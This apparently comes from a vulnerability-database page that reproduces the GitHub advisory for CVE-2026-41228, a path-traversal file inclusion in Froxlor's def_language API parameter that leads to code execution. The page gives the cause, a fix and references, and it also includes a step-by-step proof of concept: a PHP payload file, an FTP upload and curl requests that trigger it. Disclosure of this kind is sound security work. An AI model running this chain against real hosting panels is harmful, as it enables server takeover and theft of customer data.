CVE-2026-41228: Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution
Summary The Froxlor API endpoint Customers.update (and Admins.update) does not validate the deflanguage parameter against the list of available language files. An authenticated customer can set deflanguage to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database.
Published Apr 16, 2026 · Updated Apr 24, 2026
Affected packages
froxlor/froxlor
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.3.5
- Fixed in
- 2.3.6
- Check
composer show froxlor/froxlor
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.
Details
Root cause: The API and web UI have inconsistent validation for the def_language parameter.
The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:
API path (ApiCommand.php:218-222):
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}Web path (init.php:180-185):
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.
File inclusion (Language.php:89-98):
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP executionWith $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.
PoC
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.phpThe file is now at /var/customers/webs/<loginname>/evil.lng.php.
Step 2 — Set traversal payload via API:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().
Step 3 — Trigger inclusion on next API call:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.
Step 4 — Verify execution:
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- Full server compromise: Read
lib/userdata.inc.phpto obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
- Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
- Data exfiltration: Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
Recommended Fix
Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}Apply the same fix in Admins.php at line 600.
Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}Credited to offset.
References
- https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7
- https://nvd.nist.gov/vuln/detail/CVE-2026-41228
- https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c
- https://github.com/froxlor/froxlor/releases/tag/2.3.6
- https://github.com/advisories/GHSA-w59f-67xm-rxx7
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-62988
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
critical9.0Aug 18, 2026CVE-2026-41229
Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)
critical9.1Apr 16, 2026CVE-2026-26279
Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection
critical9.1Mar 3, 2026CVE-2024-34070
Blind XSS Leading to Froxlor Application Compromise
critical9.6May 10, 2024
